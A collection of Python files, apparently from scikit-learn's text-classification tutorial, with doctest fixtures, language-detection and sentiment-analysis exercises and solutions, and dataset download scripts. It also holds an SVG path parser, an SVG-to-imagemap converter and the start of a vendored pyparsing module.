def setup_module():
    check_skip_network()

    # skip the test in rcv1.rst if the dataset is not already loaded
    rcv1_dir = os.path.join(get_data_home(), "RCV1")
    if not os.path.exists(rcv1_dir):
        raise SkipTest("Download RCV1 dataset to run this test.")







"""Fixture module to skip the datasets loading when offline

Doctests are skipped if the datasets have not already been downloaded
and cached in the past.
"""
from os.path import exists
from os.path import join
from nose import SkipTest
from sklearn.datasets import get_data_home


def setup_module(module):
    data_home = get_data_home()
    if not exists(join(data_home, '20news_home')):
        raise SkipTest("Skipping dataset loading doctests")






"""Fixture module to skip the datasets loading when offline

Mock urllib2 access to mldata.org and create a temporary data folder.
"""

from os import makedirs
from os.path import join
import numpy as np
import tempfile
import shutil

from sklearn import datasets
from sklearn.utils.testing import install_mldata_mock
from sklearn.utils.testing import uninstall_mldata_mock


def globs(globs):
    # Create a temporary folder for the data fetcher
    global custom_data_home
    custom_data_home = tempfile.mkdtemp()
    makedirs(join(custom_data_home, 'mldata'))
    globs['custom_data_home'] = custom_data_home
    return globs


def setup_module():
    # setup mock urllib2 module to avoid downloading from mldata.org
    install_mldata_mock({
        'mnist-original': {
            'data': np.empty((70000, 784)),
            'label': np.repeat(np.arange(10, dtype='d'), 7000),
        },
        'iris': {
            'data': np.empty((150, 4)),
        },
        'datasets-uci-iris': {
            'double0': np.empty((150, 4)),
            'class': np.empty((150,)),
        },
    })


def teardown_module():
    uninstall_mldata_mock()
    shutil.rmtree(custom_data_home)






"""Fixture module to skip the datasets loading when offline

The 20 newsgroups data is rather large and some CI workers such as travis are
stateless hence will not cache the dataset as regular sklearn users would do.

The following will skip the execution of the working_with_text_data.rst doctests
if the proper environment variable is configured (see the source code of
check_skip_network for more details).

"""
from sklearn.utils.testing import check_skip_network


def setup_module():
    check_skip_network()






"""Build a language detector model

The goal of this exercise is to train a linear classifier on text features
that represent sequences of up to 3 consecutive characters so as to be
recognize natural languages by using the frequencies of short character
sequences as 'fingerprints'.

"""
# Author: Olivier Grisel <olivier.grisel@ensta.org>
# License: Simplified BSD

import sys

from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.linear_model import Perceptron
from sklearn.pipeline import Pipeline
from sklearn.datasets import load_files
from sklearn.model_selection import train_test_split
from sklearn import metrics


# The training data folder must be passed as first argument
languages_data_folder = sys.argv[1]
dataset = load_files(languages_data_folder)

# Split the dataset in training and test set:
docs_train, docs_test, y_train, y_test = train_test_split(
    dataset.data, dataset.target, test_size=0.5)


# TASK: Build a vectorizer that splits strings into sequence of 1 to 3
# characters instead of word tokens

# TASK: Build a vectorizer / classifier pipeline using the previous analyzer
# the pipeline instance should stored in a variable named clf

# TASK: Fit the pipeline on the training set

# TASK: Predict the outcome on the testing set in a variable named y_predicted

# Print the classification report
print(metrics.classification_report(y_test, y_predicted,
                                    target_names=dataset.target_names))

# Plot the confusion matrix
cm = metrics.confusion_matrix(y_test, y_predicted)
print(cm)

#import matplotlib.pyplot as plt
#plt.matshow(cm, cmap=plt.cm.jet)
#plt.show()

# Predict the result on some short new sentences:
sentences = [
    u'This is a language detection test.',
    u'Ceci est un test de d\xe9tection de la langue.',
    u'Dies ist ein Test, um die Sprache zu erkennen.',
]
predicted = clf.predict(sentences)

for s, p in zip(sentences, predicted):
    print(u'The language of "%s" is "%s"' % (s, dataset.target_names[p]))






"""Build a sentiment analysis / polarity model

Sentiment analysis can be casted as a binary text classification problem,
that is fitting a linear classifier on features extracted from the text
of the user messages so as to guess wether the opinion of the author is
positive or negative.

In this examples we will use a movie review dataset.

"""
# Author: Olivier Grisel <olivier.grisel@ensta.org>
# License: Simplified BSD

import sys
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.svm import LinearSVC
from sklearn.pipeline import Pipeline
from sklearn.model_selection import GridSearchCV
from sklearn.datasets import load_files
from sklearn.model_selection import train_test_split
from sklearn import metrics


if __name__ == "__main__":
    # NOTE: we put the following in a 'if __name__ == "__main__"' protected
    # block to be able to use a multi-core grid search that also works under
    # Windows, see: http://docs.python.org/library/multiprocessing.html#windows
    # The multiprocessing module is used as the backend of joblib.Parallel
    # that is used when n_jobs != 1 in GridSearchCV

    # the training data folder must be passed as first argument
    movie_reviews_data_folder = sys.argv[1]
    dataset = load_files(movie_reviews_data_folder, shuffle=False)
    print("n_samples: %d" % len(dataset.data))

    # split the dataset in training and test set:
    docs_train, docs_test, y_train, y_test = train_test_split(
        dataset.data, dataset.target, test_size=0.25, random_state=None)

    # TASK: Build a vectorizer / classifier pipeline that filters out tokens
    # that are too rare or too frequent

    # TASK: Build a grid search to find out whether unigrams or bigrams are
    # more useful.
    # Fit the pipeline on the training set using grid search for the parameters

    # TASK: print the cross-validated scores for the each parameters set
    # explored by the grid search

    # TASK: Predict the outcome on the testing set and store it in a variable
    # named y_predicted

    # Print the classification report
    print(metrics.classification_report(y_test, y_predicted,
                                        target_names=dataset.target_names))

    # Print and plot the confusion matrix
    cm = metrics.confusion_matrix(y_test, y_predicted)
    print(cm)

    # import matplotlib.pyplot as plt
    # plt.matshow(cm)
    # plt.show()







# simple python script to collect text paragraphs from various languages on the
# same topic namely the Wikipedia encyclopedia itself

import os
try:
    # Python 2 compat
    from urllib2 import Request, build_opener
except ImportError:
    # Python 3
    from urllib.request import Request, build_opener

import lxml.html
from lxml.etree import ElementTree
import numpy as np

import codecs

pages = {
    u'ar': u'http://ar.wikipedia.org/wiki/%D9%88%D9%8A%D9%83%D9%8A%D8%A8%D9%8A%D8%AF%D9%8A%D8%A7',
    u'de': u'http://de.wikipedia.org/wiki/Wikipedia',
    u'en': u'https://en.wikipedia.org/wiki/Wikipedia',
    u'es': u'http://es.wikipedia.org/wiki/Wikipedia',
    u'fr': u'http://fr.wikipedia.org/wiki/Wikip%C3%A9dia',
    u'it': u'http://it.wikipedia.org/wiki/Wikipedia',
    u'ja': u'http://ja.wikipedia.org/wiki/Wikipedia',
    u'nl': u'http://nl.wikipedia.org/wiki/Wikipedia',
    u'pl': u'http://pl.wikipedia.org/wiki/Wikipedia',
    u'pt': u'http://pt.wikipedia.org/wiki/Wikip%C3%A9dia',
    u'ru': u'http://ru.wikipedia.org/wiki/%D0%92%D0%B8%D0%BA%D0%B8%D0%BF%D0%B5%D0%B4%D0%B8%D1%8F',
#    u'zh': u'http://zh.wikipedia.org/wiki/Wikipedia',
}

html_folder = u'html'
text_folder = u'paragraphs'
short_text_folder = u'short_paragraphs'
n_words_per_short_text = 5


if not os.path.exists(html_folder):
    os.makedirs(html_folder)

for lang, page in pages.items():

    text_lang_folder = os.path.join(text_folder, lang)
    if not os.path.exists(text_lang_folder):
        os.makedirs(text_lang_folder)

    short_text_lang_folder = os.path.join(short_text_folder, lang)
    if not os.path.exists(short_text_lang_folder):
        os.makedirs(short_text_lang_folder)

    opener = build_opener()
    html_filename = os.path.join(html_folder, lang + '.html')
    if not os.path.exists(html_filename):
        print("Downloading %s" % page)
        request = Request(page)
        # change the User Agent to avoid being blocked by Wikipedia
        # downloading a couple of articles should not be considered abusive
        request.add_header('User-Agent', 'OpenAnything/1.0')
        html_content = opener.open(request).read()
        open(html_filename, 'wb').write(html_content)

    # decode the payload explicitly as UTF-8 since lxml is confused for some
    # reason
    with codecs.open(html_filename,'r','utf-8') as html_file:
        html_content = html_file.read()
    tree = ElementTree(lxml.html.document_fromstring(html_content))
    i = 0
    j = 0
    for p in tree.findall('//p'):
        content = p.text_content()
        if len(content) < 100:
            # skip paragraphs that are too short - probably too noisy and not
            # representative of the actual language
            continue

        text_filename = os.path.join(text_lang_folder,
                                     '%s_%04d.txt' % (lang, i))
        print("Writing %s" % text_filename)
        open(text_filename, 'wb').write(content.encode('utf-8', 'ignore'))
        i += 1

        # split the paragraph into fake smaller paragraphs to make the
        # problem harder e.g. more similar to tweets
        if lang in ('zh', 'ja'):
        # FIXME: whitespace tokenizing does not work on chinese and japanese
            continue
        words = content.split()
        n_groups = len(words) / n_words_per_short_text
        if n_groups < 1:
            continue
        groups = np.array_split(words, n_groups)

        for group in groups:
            small_content = u" ".join(group)

            short_text_filename = os.path.join(short_text_lang_folder,
                                               '%s_%04d.txt' % (lang, j))
            print("Writing %s" % short_text_filename)
            open(short_text_filename, 'wb').write(
                small_content.encode('utf-8', 'ignore'))
            j += 1
            if j >= 1000:
                break







"""Script to download the 20 newsgroups text classification set"""

import os
import tarfile
from contextlib import closing

try:
    from urllib import urlopen
except ImportError:
    from urllib.request import urlopen

URL = ("http://people.csail.mit.edu/jrennie/"
       "20Newsgroups/20news-bydate.tar.gz")

ARCHIVE_NAME = URL.rsplit('/', 1)[1]
TRAIN_FOLDER = "20news-bydate-train"
TEST_FOLDER = "20news-bydate-test"


if not os.path.exists(TRAIN_FOLDER) or not os.path.exists(TEST_FOLDER):

    if not os.path.exists(ARCHIVE_NAME):
        print("Downloading dataset from %s (14 MB)" % URL)
        opener = urlopen(URL)
        with open(ARCHIVE_NAME, 'wb') as archive:
            archive.write(opener.read())

    print("Decompressing %s" % ARCHIVE_NAME)
    with closing(tarfile.open(ARCHIVE_NAME, "r:gz")) as archive:
        archive.extractall(path='.')
    os.remove(ARCHIVE_NAME)






"""Script to download the movie review dataset"""

import os
import tarfile
from contextlib import closing
try:
    from urllib import urlopen
except ImportError:
    from urllib.request import urlopen


URL = ("http://www.cs.cornell.edu/people/pabo/"
       "movie-review-data/review_polarity.tar.gz")

ARCHIVE_NAME = URL.rsplit('/', 1)[1]
DATA_FOLDER = "txt_sentoken"


if not os.path.exists(DATA_FOLDER):

    if not os.path.exists(ARCHIVE_NAME):
        print("Downloading dataset from %s (3 MB)" % URL)
        opener = urlopen(URL)
        with open(ARCHIVE_NAME, 'wb') as archive:
            archive.write(opener.read())

    print("Decompressing %s" % ARCHIVE_NAME)
    with closing(tarfile.open(ARCHIVE_NAME, "r:gz")) as archive:
        archive.extractall(path='.')
    os.remove(ARCHIVE_NAME)






"""Build a language detector model

The goal of this exercise is to train a linear classifier on text features
that represent sequences of up to 3 consecutive characters so as to be
recognize natural languages by using the frequencies of short character
sequences as 'fingerprints'.

"""
# Author: Olivier Grisel <olivier.grisel@ensta.org>
# License: Simplified BSD

import sys

from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.linear_model import Perceptron
from sklearn.pipeline import Pipeline
from sklearn.datasets import load_files
from sklearn.model_selection import train_test_split
from sklearn import metrics


# The training data folder must be passed as first argument
languages_data_folder = sys.argv[1]
dataset = load_files(languages_data_folder)

# Split the dataset in training and test set:
docs_train, docs_test, y_train, y_test = train_test_split(
    dataset.data, dataset.target, test_size=0.5)


# TASK: Build a vectorizer that splits strings into sequence of 1 to 3
# characters instead of word tokens
vectorizer = TfidfVectorizer(ngram_range=(1, 3), analyzer='char',
                             use_idf=False)

# TASK: Build a vectorizer / classifier pipeline using the previous analyzer
# the pipeline instance should stored in a variable named clf
clf = Pipeline([
    ('vec', vectorizer),
    ('clf', Perceptron()),
])

# TASK: Fit the pipeline on the training set
clf.fit(docs_train, y_train)

# TASK: Predict the outcome on the testing set in a variable named y_predicted
y_predicted = clf.predict(docs_test)

# Print the classification report
print(metrics.classification_report(y_test, y_predicted,
                                    target_names=dataset.target_names))

# Plot the confusion matrix
cm = metrics.confusion_matrix(y_test, y_predicted)
print(cm)

#import matlotlib.pyplot as plt
#plt.matshow(cm, cmap=plt.cm.jet)
#plt.show()

# Predict the result on some short new sentences:
sentences = [
    u'This is a language detection test.',
    u'Ceci est un test de d\xe9tection de la langue.',
    u'Dies ist ein Test, um die Sprache zu erkennen.',
]
predicted = clf.predict(sentences)

for s, p in zip(sentences, predicted):
    print(u'The language of "%s" is "%s"' % (s, dataset.target_names[p]))






"""Build a sentiment analysis / polarity model

Sentiment analysis can be casted as a binary text classification problem,
that is fitting a linear classifier on features extracted from the text
of the user messages so as to guess wether the opinion of the author is
positive or negative.

In this examples we will use a movie review dataset.

"""
# Author: Olivier Grisel <olivier.grisel@ensta.org>
# License: Simplified BSD

import sys
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.svm import LinearSVC
from sklearn.pipeline import Pipeline
from sklearn.model_selection import GridSearchCV
from sklearn.datasets import load_files
from sklearn.model_selection import train_test_split
from sklearn import metrics


if __name__ == "__main__":
    # NOTE: we put the following in a 'if __name__ == "__main__"' protected
    # block to be able to use a multi-core grid search that also works under
    # Windows, see: http://docs.python.org/library/multiprocessing.html#windows
    # The multiprocessing module is used as the backend of joblib.Parallel
    # that is used when n_jobs != 1 in GridSearchCV

    # the training data folder must be passed as first argument
    movie_reviews_data_folder = sys.argv[1]
    dataset = load_files(movie_reviews_data_folder, shuffle=False)
    print("n_samples: %d" % len(dataset.data))

    # split the dataset in training and test set:
    docs_train, docs_test, y_train, y_test = train_test_split(
        dataset.data, dataset.target, test_size=0.25, random_state=None)

    # TASK: Build a vectorizer / classifier pipeline that filters out tokens
    # that are too rare or too frequent
    pipeline = Pipeline([
        ('vect', TfidfVectorizer(min_df=3, max_df=0.95)),
        ('clf', LinearSVC(C=1000)),
    ])

    # TASK: Build a grid search to find out whether unigrams or bigrams are
    # more useful.
    # Fit the pipeline on the training set using grid search for the parameters
    parameters = {
        'vect__ngram_range': [(1, 1), (1, 2)],
    }
    grid_search = GridSearchCV(pipeline, parameters, n_jobs=-1)
    grid_search.fit(docs_train, y_train)

    # TASK: print the mean and std for each candidate along with the parameter
    # settings for all the candidates explored by grid search.
    n_candidates = len(grid_search.results_['params'])
    for i in range(n_candidates):
        print(i, 'params - %s; mean - %0.2f; std - %0.2f'
                 % (grid_search.results_['params'][i],
                    grid_search.results_['test_mean_score'][i],
                    grid_search.results_['test_std_score'][i]))

    # TASK: Predict the outcome on the testing set and store it in a variable
    # named y_predicted
    y_predicted = grid_search.predict(docs_test)

    # Print the classification report
    print(metrics.classification_report(y_test, y_predicted,
                                        target_names=dataset.target_names))

    # Print and plot the confusion matrix
    cm = metrics.confusion_matrix(y_test, y_predicted)
    print(cm)

    # import matplotlib.pyplot as plt
    # plt.matshow(cm)
    # plt.show()






"""Generate skeletons from the example code"""
import os

exercise_dir = os.path.dirname(__file__)
if exercise_dir == '':
    exercise_dir = '.'

skeleton_dir = os.path.abspath(os.path.join(exercise_dir, '..', 'skeletons'))
if not os.path.exists(skeleton_dir):
    os.makedirs(skeleton_dir)

solutions = os.listdir(exercise_dir)

for f in solutions:
    if not f.endswith('.py'):
        continue

    if f == os.path.basename(__file__):
        continue

    print("Generating skeleton for %s" % f)

    input_file = open(os.path.join(exercise_dir, f))
    output_file = open(os.path.join(skeleton_dir, f), 'w')

    in_exercise_region = False

    for line in input_file:
        linestrip = line.strip()
        if len(linestrip) == 0:
            in_exercise_region = False
        elif linestrip.startswith('# TASK:'):
            in_exercise_region = True

        if not in_exercise_region or linestrip.startswith('#'):
            output_file.write(line)

    output_file.close()






#!/usr/local/bin/python

"""
Based on: http://wxpsvg.googlecode.com/svn/trunk/svg/pathdata.py
According to that project, this file is licensed under the LGPL
"""
try:
    from pyparsing import (ParserElement, Literal, Word, CaselessLiteral, 
        Optional, Combine, Forward, ZeroOrMore, nums, oneOf, Group, ParseException, OneOrMore)
except ImportError:
    import sys
    sys.exit("pyparsing is required")
    
    
#ParserElement.enablePackrat()

def Command(char):
    """ Case insensitive but case preserving"""
    return CaselessPreservingLiteral(char)
    
def Arguments(token):
    return Group(token)
    
    
class CaselessPreservingLiteral(CaselessLiteral):
    """ Like CaselessLiteral, but returns the match as found
        instead of as defined.
    """
    def __init__( self, matchString ):
        super(CaselessPreservingLiteral,self).__init__( matchString.upper() )
        self.name = "'%s'" % matchString
        self.errmsg = "Expected " + self.name
        self.myException.msg = self.errmsg

    def parseImpl( self, instring, loc, doActions=True ):
        test = instring[ loc:loc+self.matchLen ]
        if test.upper() == self.match:
            return loc+self.matchLen, test
        #~ raise ParseException( instring, loc, self.errmsg )
        exc = self.myException
        exc.loc = loc
        exc.pstr = instring
        raise exc   
    
def Sequence(token):
    """ A sequence of the token"""
    return OneOrMore(token+maybeComma)

digit_sequence = Word(nums)

sign = oneOf("+ -")

def convertToFloat(s, loc, toks):
    try:
        return float(toks[0])
    except:
        raise ParseException(loc, "invalid float format %s"%toks[0])

exponent = CaselessLiteral("e")+Optional(sign)+Word(nums)

#note that almost all these fields are optional, 
#and this can match almost anything. We rely on Pythons built-in
#float() function to clear out invalid values - loosely matching like this
#speeds up parsing quite a lot
floatingPointConstant = Combine(
    Optional(sign) + 
    Optional(Word(nums)) + 
    Optional(Literal(".") + Optional(Word(nums)))+
    Optional(exponent)
)

floatingPointConstant.setParseAction(convertToFloat)

number = floatingPointConstant

#same as FP constant but don't allow a - sign
nonnegativeNumber = Combine(
    Optional(Word(nums)) + 
    Optional(Literal(".") + Optional(Word(nums)))+
    Optional(exponent)
)
nonnegativeNumber.setParseAction(convertToFloat)

coordinate = number

#comma or whitespace can separate values all over the place in SVG
maybeComma = Optional(Literal(',')).suppress()

coordinateSequence = Sequence(coordinate)

coordinatePair = (coordinate + maybeComma + coordinate).setParseAction(lambda t: tuple(t))
coordinatePairSequence = Sequence(coordinatePair)

coordinatePairPair = coordinatePair + maybeComma + coordinatePair
coordinatePairPairSequence = Sequence(Group(coordinatePairPair))

coordinatePairTriple = coordinatePair + maybeComma + coordinatePair + maybeComma + coordinatePair
coordinatePairTripleSequence = Sequence(Group(coordinatePairTriple))

#commands
lineTo = Group(Command("L") + Arguments(coordinatePairSequence))
curve = Group(Command("C") + Arguments(coordinatePairSequence))

moveTo = Group(Command("M") + Arguments(coordinatePairSequence))

closePath = Group(Command("Z")).setParseAction(lambda t: ('Z', (None,)))

flag = oneOf("1 0").setParseAction(lambda t: bool(int((t[0]))))

arcRadius = (
    nonnegativeNumber + maybeComma + #rx
    nonnegativeNumber #ry
).setParseAction(lambda t: tuple(t))

arcFlags = (flag + maybeComma + flag).setParseAction(lambda t: tuple(t))

ellipticalArcArgument = Group(
    arcRadius + maybeComma + #rx, ry
    number + maybeComma +#rotation
    arcFlags + #large-arc-flag, sweep-flag
    coordinatePair #(x,y)
)

ellipticalArc = Group(Command("A") + Arguments(Sequence(ellipticalArcArgument)))

smoothQuadraticBezierCurveto = Group(Command("T") + Arguments(coordinatePairSequence))

quadraticBezierCurveto = Group(Command("Q") + Arguments(coordinatePairPairSequence))

smoothCurve = Group(Command("S") + Arguments(coordinatePairPairSequence))

#curve = Group(Command("C") + Arguments(coordinatePairTripleSequence))

horizontalLine = Group(Command("H") + Arguments(coordinateSequence))
verticalLine = Group(Command("V") + Arguments(coordinateSequence))

drawToCommand = (
    lineTo | moveTo | closePath | ellipticalArc | smoothQuadraticBezierCurveto |
    quadraticBezierCurveto | smoothCurve | curve | horizontalLine | verticalLine
    )

#~ number.debug = True
moveToDrawToCommands = moveTo + ZeroOrMore(drawToCommand)

path = ZeroOrMore(moveToDrawToCommands)
path.keepTabs = True

def get_points(d):
    commands = path.parseString(d)
    points = []
    currentset = None
    for command in commands:
        if command[0] == 'M' or command[0] == 'm':
            currentset = []
            points.append(currentset)
            currentset.append(command[1][-1])
        elif command[0] == 'L' or command[0] == 'l':
            currentset.extend(command[1])
        elif command[0] == 'C' or command[0] == 'c':
            currentset.extend(command[1])
    return points

if __name__ == "__main__":
	print path.parseString("M 242.96145,653.59282 L 244.83646,650.1553 L 247.02397,649.8428 L 247.33647,650.62405 L 245.30521,653.59282 L 242.96145,653.59282 z M 252.80525,649.99905 L 258.74278,652.49906 L 260.77404,652.18656 L 262.33654,648.43654 L 261.71154,645.15528 L 257.64902,644.68653 L 253.74275,646.40528 L 252.80525,649.99905 z M 282.49289,659.6866 L 286.08665,664.99912 L 288.43041,664.68662 L 289.52417,664.21787 L 290.93042,665.46787 L 294.52419,665.31162 L 295.4617,663.90537 L 292.64918,662.18661 L 290.77417,658.59284 L 288.74291,655.15533 L 283.11789,657.96784 L 282.49289,659.6866 z M 302.02423,668.28039 L 303.27423,666.40538 L 307.8055,667.34288 L 308.43051,666.87413 L 314.36803,667.49913 L 314.05553,668.74914 L 311.55552,670.15539 L 307.33675,669.84289 L 302.02423,668.28039 z M 307.1805,673.28041 L 309.05551,677.03043 L 312.02427,675.93667 L 312.33677,674.37416 L 310.77427,672.3429 L 307.1805,672.0304 L 307.1805,673.28041 z M 313.89928,672.18665 L 316.08679,669.37414 L 320.61806,671.7179 L 324.83683,672.81166 L 329.0556,675.46792 L 329.0556,677.34293 L 325.61809,679.06169 L 320.93056,679.99919 L 318.5868,678.59293 L 313.89928,672.18665 z M 329.99311,687.18672 L 331.55561,685.93672 L 334.83688,687.49923 L 342.18066,690.93674 L 345.46193,692.968 L 347.02443,695.31176 L 348.89944,699.53053 L 352.80571,702.03054 L 352.49321,703.28055 L 348.74319,706.40556 L 344.68067,707.81182 L 343.27442,707.18682 L 340.30565,708.90557 L 337.96189,712.03059 L 335.77438,714.8431 L 334.05562,714.68685 L 330.61811,712.18684 L 330.30561,707.81182 L 330.93061,705.46806 L 329.3681,699.99928 L 327.33684,698.28052 L 327.18059,695.78051 L 329.3681,694.84301 L 331.39936,691.87425 L 331.86811,690.93674 L 330.30561,689.21798 L 329.99311,687.18672 z ")






#!/usr/local/bin/python

"""
This script converts a subset of SVG into an HTML imagemap

Note *subset*.  It only handles <path> elements, for which it only pays
attention to the M and L commands.  Futher, it only notices the "translate"
transform.

It was written to generate the examples in the documentation for maphilight,
and thus is very squarely aimed at handling several SVG maps from wikipedia.
It *assumes* that all the <path>s it will need are inside a <g>.  Any <path>
outside of a <g> will be ignored.

It takes several possible arguments, in the form:
$ svn2imagemap.py FILENAME [x y [group1 group2 ... groupN]]

FILENAME must be the name of an SVG file.  All other arguments are optional.

x and y, if present, are the dimensions of the image you'll be creating from
the SVG.  If not present, it assumes the values of the width and height
attributes in the SVG file.

group1 through groupN are group ids.  If only want particular groups used,
enter their ids here and all others will be ignored.
"""

import os
import re
import sys
import xml.dom.minidom

import parse_path

if len(sys.argv) == 1:
    sys.exit("svn2imagemap.py FILENAME [x y [group1 group2 ... groupN]]")
if not os.path.exists(sys.argv[1]):
    sys.exit("Input file does not exist")
x, y, groups = None, None, None
if len(sys.argv) >= 3:
    x = float(sys.argv[2])
    y = float(sys.argv[3])
    if len(sys.argv) > 3:
        groups = sys.argv[4:]

svg_file = xml.dom.minidom.parse(sys.argv[1])
svg = svg_file.getElementsByTagName('svg')[0]

raw_width = float(svg.getAttribute('width'))
raw_height = float(svg.getAttribute('height'))
width_ratio = x and (x / raw_width) or 1
height_ratio = y and (y / raw_height) or 1

if groups:
    elements = [g for g in svg.getElementsByTagName('g') if (g.hasAttribute('id') and g.getAttribute('id') in groups)]
    elements.extend([p for p in svg.getElementsByTagName('path') if (p.hasAttribute('id') and p.getAttribute('id') in groups)])
else:
    elements = svg.getElementsByTagName('g')

parsed_groups = {}
for e in elements:
    paths = []
    if e.nodeName == 'g':
        for path in e.getElementsByTagName('path'):
            points = parse_path.get_points(path.getAttribute('d'))
            for pointset in points:
                paths.append([path.getAttribute('id'), pointset])
    else:
        points = parse_path.get_points(e.getAttribute('d'))
        for pointset in points:
            paths.append([e.getAttribute('id'), pointset])
    if e.hasAttribute('transform'):
        print e.getAttribute('id'), e.getAttribute('transform')
        for transform in re.findall(r'(\w+)\((-?\d+.?\d*),(-?\d+.?\d*)\)', e.getAttribute('transform')):
            if transform[0] == 'translate':
                x_shift = float(transform[1])
                y_shift = float(transform[2])
                for path in paths:
                    path[1] = [(p[0] + x_shift, p[1] + y_shift) for p in path[1]]

    parsed_groups[e.getAttribute('id')] = paths

out = []
for g in parsed_groups:
    for path in parsed_groups[g]:
        out.append('<area href="#" title="%s" shape="poly" coords="%s"></area>' %
            (path[0], ', '.join([("%d,%d" % (p[0]*width_ratio, p[1]*height_ratio)) for p in path[1]])))

outfile = open(sys.argv[1].replace('.svg', '.html'), 'w')
outfile.write('\n'.join(out))






# module pyparsing.py
#
# Copyright (c) 2003-2008  Paul T. McGuire
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
#from __future__ import generators

__doc__ = \
"""
pyparsing module - Classes and methods to define and execute parsing grammars

The pyparsing module is an alternative approach to creating and executing simple grammars,
vs. the traditional lex/yacc approach, or the use of regular expressions.  With pyparsing, you
don't need to learn a new syntax for defining grammars or matching expressions - the parsing module
provides a library of classes that you use to construct the grammar directly in Python.

Here is a program to parse "Hello, World!" (or any greeting of the form "<salutation>, <addressee>!")::

    from pyparsing import Word, alphas

    # define grammar of a greeting
    greet = Word( alphas ) + "," + Word( alphas ) + "!"

    hello = "Hello, World!"
    print hello, "->", greet.parseString( hello )

The program outputs the following::

    Hello, World! -> ['Hello', ',', 'World', '!']

The Python representation of the grammar is quite readable, owing to the self-explanatory
class names, and the use of '+', '|' and '^' operators.

The parsed results returned from parseString() can be accessed as a nested list, a dictionary, or an
object with named attributes.

The pyparsing module handles some of the problems that are typically vexing when writing text parsers:
 - extra or missing whitespace (the above program will also handle "Hello,World!", "Hello  ,  World  !", etc.)
 - quoted strings
 - embedded comments
"""

__version__ = "1.4.11"
__versionTime__ = "10 February 2008 17:28"
__author__ = "Paul McGuire <ptmcg@users.sourceforge.net>"

import string
from weakref import ref as wkref
import copy,sys
import warnings
import re
import sre_constants
import xml.sax.saxutils
#~ sys.stderr.write( "testing pyparsing module, version %s, %s\n" % (__version__,__versionTime__ ) )

"""
Detect if we are running version 3.X and make appropriate changes
Robert A. Clark
"""
if sys.version_info[0] > 2:
    __MAX_INT__ = sys.maxsize
    __BASE_STRING__ = str
else:
    __MAX_INT__ = sys.maxint
    __BASE_STRING__ = basestring

def _ustr(obj):
    """Drop-in replacement for str(obj) that tries to be Unicode friendly. It first tries
       str(obj). If that fails with a UnicodeEncodeError, then it tries unicode(obj). It
       then < returns the unicode object | encodes it with the default encoding | ... >.
    """
    try:
        # If this works, then _ustr(obj) has the same behaviour as str(obj), so
        # it won't break any existing code.
        return str(obj)

    except UnicodeEncodeError:
        # The Python docs (http://docs.python.org/ref/customization.html#l2h-182)
        # state that "The return value must be a string object". However, does a
        # unicode object (being a subclass of basestring) count as a "string
        # object"?
        # If so, then return a unicode object:
        return unicode(obj)
        # Else encode it... but how? There are many choices... :)
        # Replace unprintables with escape codes?
        #return unicode(obj).encode(sys.getdefaultencoding(), 'backslashreplace_errors')
        # Replace unprintables with question marks?
        #return unicode(obj).encode(sys.getdefaultencoding(), 'replace')
        # ...

def _str2dict(strg):
    return dict( [(c,0) for c in strg] )
    #~ return set( [c for c in strg] )

class _Constants(object):
    pass

alphas     = string.lowercase + string.uppercase
nums       = string.digits
hexnums    = nums + "ABCDEFabcdef"
alphanums  = alphas + nums
_bslash = "\\"
printables = "".join( [ c for c in string.printable if c not in string.whitespace ] )

class ParseBaseException(Exception):
    """base exception class for all parsing runtime exceptions"""
    __slots__ = ( "loc","msg","pstr","parserElement" )
    # Performance tuning: we construct a *lot* of these, so keep this
    # constructor as small and fast as possible
    def __init__( self, pstr, loc=0, msg=None, elem=None ):
        self.loc = loc
        if msg is None:
            self.msg = pstr
            self.pstr = ""
        else:
            self.msg = msg
            self.pstr = pstr
        self.parserElement = elem

    def __getattr__( self, aname ):
        """supported attributes by name are:
            - lineno - returns the line number of the exception text
            - col - returns the column number of the exception text
            - line - returns the line containing the exception text
        """
        if( aname == "lineno" ):
            return lineno( self.loc, self.pstr )
        elif( aname in ("col", "column") ):
            return col( self.loc, self.pstr )
        elif( aname == "line" ):
            return line( self.loc, self.pstr )
        else:
            raise AttributeError, aname

    def __str__( self ):
        return "%s (at char %d), (line:%d, col:%d)" % \
                ( self.msg, self.loc, self.lineno, self.column )
    def __repr__( self ):
        return _ustr(self)
    def markInputline( self, markerString = ">!<" ):
        """Extracts the exception line from the input string, and marks
           the location of the exception with a special symbol.
        """
        line_str = self.line
        line_column = self.column - 1
        if markerString:
            line_str = "".join( [line_str[:line_column],
                                markerString, line_str[line_column:]])
        return line_str.strip()

class ParseException(ParseBaseException):
    """exception thrown when parse expressions don't match class;
       supported attributes by name are:
        - lineno - returns the line number of the exception text
        - col - returns the column number of the exception text
        - line - returns the line containing the exception text
    """
    pass

class ParseFatalException(ParseBaseException):
    """user-throwable exception thrown when inconsistent parse content
       is found; stops all parsing immediately"""
    pass

#~ class ReparseException(ParseBaseException):
    #~ """Experimental class - parse actions can raise this exception to cause
       #~ pyparsing to reparse the input string:
        #~ - with a modified input string, and/or
        #~ - with a modified start location
       #~ Set the values of the ReparseException in the constructor, and raise the
       #~ exception in a parse action to cause pyparsing to use the new string/location.
       #~ Setting the values as None causes no change to be made.
       #~ """
    #~ def __init_( self, newstring, restartLoc ):
        #~ self.newParseText = newstring
        #~ self.reparseLoc = restartLoc

class RecursiveGrammarException(Exception):
    """exception thrown by validate() if the grammar could be improperly recursive"""
    def __init__( self, parseElementList ):
        self.parseElementTrace = parseElementList

    def __str__( self ):
